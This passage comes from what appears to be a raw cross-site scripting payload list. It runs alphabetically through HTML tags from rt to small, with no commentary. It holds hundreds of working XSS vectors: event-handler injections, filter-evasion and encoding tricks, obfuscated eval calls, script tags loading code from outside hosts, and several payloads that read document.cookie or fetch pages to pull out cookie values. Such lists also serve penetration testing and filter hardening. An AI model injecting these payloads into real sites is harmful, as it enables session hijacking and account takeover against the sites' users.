contenteditable>test</rt> <rt onbeforepaste="alert(1)" contenteditable>test</rt> <rt onblur=alert(1) tabindex=1 id=x></rt><input autofocus> <rt onclick="alert(1)">test</rt> <rt oncontextmenu="alert(1)">test</rt> <rt oncopy="alert(1)" contenteditable>test</rt> <rt oncut="alert(1)" contenteditable>test</rt> <rt ondblclick="alert(1)">test</rt> <rt onfocusout=alert(1) tabindex=1 id=x></rt><input autofocus> <rt onkeydown="alert(1)" contenteditable>test</rt> <rt onkeypress="alert(1)" contenteditable>test</rt> <rt onkeyup="alert(1)" contenteditable>test</rt> <rt onmousedown="alert(1)">test</rt> <rt onmouseenter="alert(1)">test</rt> <rt onmouseleave="alert(1)">test</rt> <rt onmousemove="alert(1)">test</rt> <rt onmouseout="alert(1)">test</rt> <rt onmouseover="alert(1)">test</rt> <rt onmouseup="alert(1)">test</rt> <rt onpaste="alert(1)" contenteditable>test</rt> <ruby draggable="true" ondrag="alert(1)">test</ruby> <ruby draggable="true" ondragend="alert(1)">test</ruby> <ruby draggable="true" ondragenter="alert(1)">test</ruby> <ruby draggable="true" ondragleave="alert(1)">test</ruby> <ruby draggable="true" ondragstart="alert(1)">test</ruby> <ruby id=x tabindex=1 onactivate=alert(1)></ruby> <ruby id=x tabindex=1 onbeforeactivate=alert(1)></ruby> <ruby id=x tabindex=1 onbeforedeactivate=alert(1)></ruby><input autofocus> <ruby id=x tabindex=1 ondeactivate=alert(1)></ruby><input id=y autofocus> <ruby id=x tabindex=1 onfocus=alert(1)></ruby> <ruby id=x tabindex=1 onfocusin=alert(1)></ruby> <ruby onbeforecopy="alert(1)" contenteditable>test</ruby> <ruby onbeforecut="alert(1)" contenteditable>test</ruby> <ruby onbeforepaste="alert(1)" contenteditable>test</ruby> <ruby onblur=alert(1) tabindex=1 id=x></ruby><input autofocus> <ruby onclick="alert(1)">test</ruby> <ruby oncontextmenu="alert(1)">test</ruby> <ruby oncopy="alert(1)" contenteditable>test</ruby> <ruby oncut="alert(1)" contenteditable>test</ruby> <ruby ondblclick="alert(1)">test</ruby> <ruby onfocusout=alert(1) tabindex=1 id=x></ruby><input autofocus> <ruby onkeydown="alert(1)" contenteditable>test</ruby> <ruby onkeypress="alert(1)" contenteditable>test</ruby> <ruby onkeyup="alert(1)" contenteditable>test</ruby> <ruby onmousedown="alert(1)">test</ruby> <ruby onmouseenter="alert(1)">test</ruby> <ruby onmouseleave="alert(1)">test</ruby> <ruby onmousemove="alert(1)">test</ruby> <ruby onmouseout="alert(1)">test</ruby> <ruby onmouseover="alert(1)">test</ruby> <ruby onmouseup="alert(1)">test</ruby> <ruby onpaste="alert(1)" contenteditable>test</ruby> <s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s>333</s><s>444</s> <sCR<script>iPt>alert(1)</SCr</script>IPt> <sCRIpt x=">" src=//15.rs></script> <sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)> <sCriPt/src=//14.rs? <sCriPt x>(((confirm)))``</scRipt x> <sVg><scRipt %00>alert(1) {Opera} <sVg><scRipt >alert(1) {Opera} <sVg oNloaD=write()> <samp draggable="true" ondrag="alert(1)">test</samp> <samp draggable="true" ondragend="alert(1)">test</samp> <samp draggable="true" ondragenter="alert(1)">test</samp> <samp draggable="true" ondragleave="alert(1)">test</samp> <samp draggable="true" ondragstart="alert(1)">test</samp> <samp id=x tabindex=1 onactivate=alert(1)></samp> <samp id=x tabindex=1 onbeforeactivate=alert(1)></samp> <samp id=x tabindex=1 onbeforedeactivate=alert(1)></samp><input autofocus> <samp id=x tabindex=1 ondeactivate=alert(1)></samp><input id=y autofocus> <samp id=x tabindex=1 onfocus=alert(1)></samp> <samp id=x tabindex=1 onfocusin=alert(1)></samp> <samp onbeforecopy="alert(1)" contenteditable>test</samp> <samp onbeforecut="alert(1)" contenteditable>test</samp> <samp onbeforepaste="alert(1)" contenteditable>test</samp> <samp onblur=alert(1) tabindex=1 id=x></samp><input autofocus> <samp onclick="alert(1)">test</samp> <samp oncontextmenu="alert(1)">test</samp> <samp oncopy="alert(1)" contenteditable>test</samp> <samp oncut="alert(1)" contenteditable>test</samp> <samp ondblclick="alert(1)">test</samp> <samp onfocusout=alert(1) tabindex=1 id=x></samp><input autofocus> <samp onkeydown="alert(1)" contenteditable>test</samp> <samp onkeypress="alert(1)" contenteditable>test</samp> <samp onkeyup="alert(1)" contenteditable>test</samp> <samp onmousedown="alert(1)">test</samp> <samp onmouseenter="alert(1)">test</samp> <samp onmouseleave="alert(1)">test</samp> <samp onmousemove="alert(1)">test</samp> <samp onmouseout="alert(1)">test</samp> <samp onmouseover="alert(1)">test</samp> <samp onmouseup="alert(1)">test</samp> <samp onpaste="alert(1)" contenteditable>test</samp> <scRiPt y="><">/*<sCRipt* */prompt()</script <scr<script>ipt>alert(1)</scr</script>ipt> <scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt> <scr<script>ipt>alert('XSS');</scr</script>ipt> <scr<script>ipt>alert(document.cookie)</scr</script>ipt> <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script> <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script> <script/ src='https://dl.dropbox.com/u/13018058/js.js' / ></script> <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ <script /**/>/**/alert(1)/**/</script /**/ <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1) <script/src=data:text/javascript,alert(1)></script> <script/src=data:text/javascript,alert(1)></script> ? <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ???????????? <script/src=data:,alert()> <script/x>alert(1)</script> <script <B>document.vulnerable=true;</script> <script =">" SRC="http://www.securitycompass.com/xss.js"></script> <script> <script>!{x(){alert(1)}}.x()</script> <script>Array.from${eval}alert\1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script> <script>$.getScript("//hackeroneofjaaah.xss.ht")</script> <script>%(payload)s</script> <script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script> <script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script> <script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script> <script>({0:#0=alert/#0#/#0#(0)})</script> <script>({0:#0=alert/#0#/#0#(123)})</script> <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> <script>+-+-1-+-+alert(1)</script> <script>/* *\x00/javascript:alert(1)// */</script> <script>/* *\x2A/javascript:alert(1)// */</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script> <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script> <script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script> <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script> <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script><svg onload=alert(1)> <script>a=/XSS/\ndocument.vulnerable=true;</script> <script>alert(1)// <script>alert(1);</script> <script>alert(1)<!– <script>alert(1)</script> <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee> <script>alert("XSS");</script>&search=1 <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee> <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 <script>alert('XSS');</script> <script>alert('XSS')</script> <script>alert(String.fromCharCode(88,83,83))</script> <script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script> <script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script> <script>alert(document.head.childNodes[3].text)</script> <script>alert(document.head.innerHTML.substr(146,20));</script> <script>confirm(1)</script> <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <script>d.innerHTML+='';</script> <script>d.innerHTML+='';</script>//["'`-->]]>]</div> <script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script> <script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script> <script>document.vulnerable=true;</script> <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script> <script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script> <script>for((i)in(self))eval(i)(1)</script> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//hackeroneofjaaah.xss.ht");a.send();</script> <script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> <script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # <script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script> <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script> <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script> <script>javascript:alert(1)</script> <script>javascript:alert(1)</script\x0A <script>javascript:alert(1)</script\x0B <script>javascript:alert(1)</script\x0D <script>javascript:alert(1)<\x00/script> <script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script> <script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script> <script>new class extends class extends class extends class extends alert(1){}{}{}{}</script> <script>new function(){new.target.constructor('alert(1)')();}</script> <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script> <script>onerror=alert;throw 1337</script> <script>prompt(1)</script> <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script> <script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script> <script>throw onerror=alert,'some string',123,'haha'</script> <script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script> <script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script> <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script> <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script># <script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script> <script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script> <script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk=')); </script> <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script> <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> <script>var var = 1; alert(var)</script> <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script> <script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script># <script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script> <script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div> <script>x = '<!--<script>'/*</script>-->*/;alert(1)</script <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script> <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script> <script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script> <script>{onerror=alert}throw 1337</script> <script>{onerror=eval}throw'=alert\x281337\x29'</script> <script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script> <script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script SRC="http://www.securitycompass.com/xss.jpg"></script> <script\x00>javascript:alert(1)</script> <script\x0A>javascript:alert(1)</script> <script\x0Atype="text/javascript">javascript:alert(1);</script> <script\x0C>javascript:alert(1)</script> <script\x0Ctype="text/javascript">javascript:alert(1);</script> <script\x0D>javascript:alert(1)</script> <script\x0Dtype="text/javascript">javascript:alert(1);</script> <script\x2F>javascript:alert(1)</script> <script\x2Ftype="text/javascript">javascript:alert(1);</script> <script\x3Etype="text/javascript">javascript:alert(1);</script> <script\x09>javascript:alert(1)</script> <script\x09type="text/javascript">javascript:alert(1);</script> <script\x20>javascript:alert(1)</script> <script\x20type="text/javascript">javascript:alert(1);</script> <script ^__^>alert(String.fromCharCode(49))</script ^__^ <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script> <script a=">" SRC="http://www.securitycompass.com/xss.js"></script> <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script> <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script> <script charset="\x22>javascript:alert(1)</script> <script draggable="true" ondrag="alert(1)">test</script> <script draggable="true" ondragend="alert(1)">test</script> <script draggable="true" ondragenter="alert(1)">test</script> <script draggable="true" ondragleave="alert(1)">test</script> <script draggable="true" ondragstart="alert(1)">test</script> <script for=document event=onreadystatechange>getElementById('safe123').click()</script> <script id=x tabindex=1 onactivate=alert(1)></script> <script id=x tabindex=1 onbeforeactivate=alert(1)></script> <script id=x tabindex=1 onbeforedeactivate=alert(1)></script><input autofocus> <script id=x tabindex=1 ondeactivate=alert(1)></script><input id=y autofocus> <script id=x tabindex=1 onfocus=alert(1)></script> <script id=x tabindex=1 onfocusin=alert(1)></script> <script itworksinallbrowsers>/*<script* */alert(1)</script <script itworksinallbrowsers>/*<script* */alert(1)</script ? <script language="JavaScript">alert('XSS')</script> <script language='javascript' src='%(jscript)s'></script> <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> <script onbeforecopy="alert(1)" contenteditable>test</script> <script onbeforecut="alert(1)" contenteditable>test</script> <script onbeforepaste="alert(1)" contenteditable>test</script> <script onblur=alert(1) tabindex=1 id=x></script><input autofocus> <script onclick="alert(1)">test</script> <script oncontextmenu="alert(1)">test</script> <script oncopy="alert(1)" contenteditable>test</script> <script oncut="alert(1)" contenteditable>test</script> <script ondblclick="alert(1)">test</script> <script onerror=alert(1) src=/></script> <script onfocusout=alert(1) tabindex=1 id=x></script><input autofocus> <script onkeydown="alert(1)" contenteditable>test</script> <script onkeypress="alert(1)" contenteditable>test</script> <script onkeyup="alert(1)" contenteditable>test</script> <script onload=alert(1) src=validjs.js></script> <script onmousedown="alert(1)">test</script> <script onmouseenter="alert(1)">test</script> <script onmouseleave="alert(1)">test</script> <script onmousemove="alert(1)">test</script> <script onmouseout="alert(1)">test</script> <script onmouseover="alert(1)">test</script> <script onmouseup="alert(1)">test</script> <script onpaste="alert(1)" contenteditable>test</script> <script onreadystatechange=alert(1)></script> <script qwerty>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script qwerty> <script src=1 href=1 onerror="javascript:alert(1)"></script> <script src="#">{alert(1)}</script>;1 <script src="//brutelogic.com.br/1.js# <script src="/\%(jscript)s"></script> <script src="\\%(jscript)s"></script> <script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]</div> <script src="data:,alert(1)// <script src="data:\xCB\x8F,javascript:alert(1)"></script> <script src="data:\xD4\x8F,javascript:alert(1)"></script> <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script> <script src="data:text/javascript,alert(1)"></script> <script src="data:text/plain\x2Cjavascript:alert(1)"></script> <script src="http://code.jquery.com/jquery-1.4.4.js"></script> <script src="javascript:alert(1)"> <script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]>]</div> <script src=%(jscript)s></script> <script src=//3334957647/1> <script src=//brutelogic.com.br/1.js> <script src=data:,alert(1)> <script src=http://yoursite.com/your_files.js></script> <script src=https://www.google.com/complete/search?client=chrome%26jsonp=alert(1);></script> <script src=javascript:alert(1)> <script x> alert(1) </script 1=2 <script ~~~>alert(0%0)</script ~~~> <s draggable="true" ondrag="alert(1)">test</s> <s draggable="true" ondragend="alert(1)">test</s> <s draggable="true" ondragenter="alert(1)">test</s> <s draggable="true" ondragleave="alert(1)">test</s> <s draggable="true" ondragstart="alert(1)">test</s> <section draggable="true" ondrag="alert(1)">test</section> <section draggable="true" ondragend="alert(1)">test</section> <section draggable="true" ondragenter="alert(1)">test</section> <section draggable="true" ondragleave="alert(1)">test</section> <section draggable="true" ondragstart="alert(1)">test</section> <section id=x tabindex=1 onactivate=alert(1)></section> <section id=x tabindex=1 onbeforeactivate=alert(1)></section> <section id=x tabindex=1 onbeforedeactivate=alert(1)></section><input autofocus> <section id=x tabindex=1 ondeactivate=alert(1)></section><input id=y autofocus> <section id=x tabindex=1 onfocus=alert(1)></section> <section id=x tabindex=1 onfocusin=alert(1)></section> <section onbeforecopy="alert(1)" contenteditable>test</section> <section onbeforecut="alert(1)" contenteditable>test</section> <section onbeforepaste="alert(1)" contenteditable>test</section> <section onblur=alert(1) tabindex=1 id=x></section><input autofocus> <section onclick="alert(1)">test</section> <section oncontextmenu="alert(1)">test</section> <section oncopy="alert(1)" contenteditable>test</section> <section oncut="alert(1)" contenteditable>test</section> <section ondblclick="alert(1)">test</section> <section onfocusout=alert(1) tabindex=1 id=x></section><input autofocus> <section onkeydown="alert(1)" contenteditable>test</section> <section onkeypress="alert(1)" contenteditable>test</section> <section onkeyup="alert(1)" contenteditable>test</section> <section onmousedown="alert(1)">test</section> <section onmouseenter="alert(1)">test</section> <section onmouseleave="alert(1)">test</section> <section onmousemove="alert(1)">test</section> <section onmouseout="alert(1)">test</section> <section onmouseover="alert(1)">test</section> <section onmouseup="alert(1)">test</section> <section onpaste="alert(1)" contenteditable>test</section> <select autofocus onfocus=alert(1)> <select autofocus onfocusin=alert(1)> <select draggable="true" ondrag="alert(1)">test</select> <select draggable="true" ondragend="alert(1)">test</select> <select draggable="true" ondragenter="alert(1)">test</select> <select draggable="true" ondragleave="alert(1)">test</select> <select draggable="true" ondragstart="alert(1)">test</select> <select id=x tabindex=1 onactivate=alert(1)></select> <select id=x tabindex=1 onbeforeactivate=alert(1)></select> <select id=x tabindex=1 onbeforedeactivate=alert(1)></select><input autofocus> <select id=x tabindex=1 ondeactivate=alert(1)></select><input id=y autofocus> <select onbeforecopy="alert(1)" contenteditable>test</select> <select onbeforecut="alert(1)" contenteditable>test</select> <select onbeforepaste="alert(1)" contenteditable>test</select> <select onblur=alert(1) id=x></select><input autofocus> <select onchange=alert(1)><option>1<option>2 <select onchange=alert(1)><option>change me</option><option>XSS</option></select> <select onclick="alert(1)">test</select> <select oncontextmenu="alert(1)">test</select> <select oncopy="alert(1)" contenteditable>test</select> <select oncut="alert(1)" contenteditable>test</select> <select ondblclick="alert(1)">test</select> <select onfocusout=alert(1) id=x></select><input autofocus> <select onkeydown="alert(1)" contenteditable>test</select> <select onkeypress="alert(1)" contenteditable>test</select> <select onkeyup="alert(1)" contenteditable>test</select> <select onmousedown="alert(1)">test</select> <select onmouseenter="alert(1)">test</select> <select onmouseleave="alert(1)">test</select> <select onmousemove="alert(1)">test</select> <select onmouseout="alert(1)">test</select> <select onmouseover="alert(1)">test</select> <select onmouseup="alert(1)">test</select> <select onpaste="alert(1)" contenteditable>test</select> <set attributeName="onmouseover" to="alert(89)"/> <set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" /> <set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" /> <set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" /> <set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" /> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, <shadow draggable="true" ondrag="alert(1)">test</shadow> <shadow draggable="true" ondragend="alert(1)">test</shadow> <shadow draggable="true" ondragenter="alert(1)">test</shadow> <shadow draggable="true" ondragleave="alert(1)">test</shadow> <shadow draggable="true" ondragstart="alert(1)">test</shadow> <shadow id=x tabindex=1 onactivate=alert(1)></shadow> <shadow id=x tabindex=1 onbeforeactivate=alert(1)></shadow> <shadow id=x tabindex=1 onbeforedeactivate=alert(1)></shadow><input autofocus> <shadow id=x tabindex=1 ondeactivate=alert(1)></shadow><input id=y autofocus> <shadow id=x tabindex=1 onfocus=alert(1)></shadow> <shadow id=x tabindex=1 onfocusin=alert(1)></shadow> <shadow onbeforecopy="alert(1)" contenteditable>test</shadow> <shadow onbeforecut="alert(1)" contenteditable>test</shadow> <shadow onbeforepaste="alert(1)" contenteditable>test</shadow> <shadow onblur=alert(1) tabindex=1 id=x></shadow><input autofocus> <shadow onclick="alert(1)">test</shadow> <shadow oncontextmenu="alert(1)">test</shadow> <shadow oncopy="alert(1)" contenteditable>test</shadow> <shadow oncut="alert(1)" contenteditable>test</shadow> <shadow ondblclick="alert(1)">test</shadow> <shadow onfocusout=alert(1) tabindex=1 id=x></shadow><input autofocus> <shadow onkeydown="alert(1)" contenteditable>test</shadow> <shadow onkeypress="alert(1)" contenteditable>test</shadow> <shadow onkeyup="alert(1)" contenteditable>test</shadow> <shadow onmousedown="alert(1)">test</shadow> <shadow onmouseenter="alert(1)">test</shadow> <shadow onmouseleave="alert(1)">test</shadow> <shadow onmousemove="alert(1)">test</shadow> <shadow onmouseout="alert(1)">test</shadow> <shadow onmouseover="alert(1)">test</shadow> <shadow onmouseup="alert(1)">test</shadow> <shadow onpaste="alert(1)" contenteditable>test</shadow> <s id=x tabindex=1 onactivate=alert(1)></s> <s id=x tabindex=1 onbeforeactivate=alert(1)></s> <s id=x tabindex=1 onbeforedeactivate=alert(1)></s><input autofocus> <s id=x tabindex=1 ondeactivate=alert(1)></s><input id=y autofocus> <s id=x tabindex=1 onfocus=alert(1)></s> <s id=x tabindex=1 onfocusin=alert(1)></s> <slot draggable="true" ondrag="alert(1)">test</slot> <slot draggable="true" ondragend="alert(1)">test</slot> <slot draggable="true" ondragenter="alert(1)">test</slot> <slot draggable="true" ondragleave="alert(1)">test</slot> <slot draggable="true" ondragstart="alert(1)">test</slot> <slot id=x tabindex=1 onactivate=alert(1)></slot> <slot id=x tabindex=1 onbeforeactivate=alert(1)></slot> <slot id=x tabindex=1 onbeforedeactivate=alert(1)></slot><input autofocus> <slot id=x tabindex=1 ondeactivate=alert(1)></slot><input id=y autofocus> <slot id=x tabindex=1 onfocus=alert(1)></slot> <slot id=x tabindex=1 onfocusin=alert(1)></slot> <slot onbeforecopy="alert(1)" contenteditable>test</slot> <slot onbeforecut="alert(1)" contenteditable>test</slot> <slot onbeforepaste="alert(1)" contenteditable>test</slot> <slot onblur=alert(1) tabindex=1 id=x></slot><input autofocus> <slot onclick="alert(1)">test</slot> <slot oncontextmenu="alert(1)">test</slot> <slot oncopy="alert(1)" contenteditable>test</slot> <slot oncut="alert(1)" contenteditable>test</slot> <slot ondblclick="alert(1)">test</slot> <slot onfocusout=alert(1) tabindex=1 id=x></slot><input autofocus> <slot onkeydown="alert(1)" contenteditable>test</slot> <slot onkeypress="alert(1)" contenteditable>test</slot> <slot onkeyup="alert(1)" contenteditable>test</slot> <slot onmousedown="alert(1)">test</slot> <slot onmouseenter="alert(1)">test</slot> <slot onmouseleave="alert(1)">test</slot> <slot onmousemove="alert(1)">test</slot> <slot onmouseout="alert(1)">test</slot> <slot onmouseover="alert(1)">test</slot> <slot onmouseup="alert(1)">test</slot> <slot onpaste="alert(1)" contenteditable>test</slot> <small draggable="true" ondrag="alert(1)">test</small> <small draggable="true" ondragend="alert(1)">test</small> <small draggable="true" ondragenter="alert(1)">test</small> <small draggable="true" ondragleave="alert(1)">test</small> <small draggable="true" ondragstart="alert(1)">test</small> <small id=x tabindex=1 onactivate=alert(1)></small> <small id=x tabindex=1 onbeforeactivate=alert(1)></small> <small 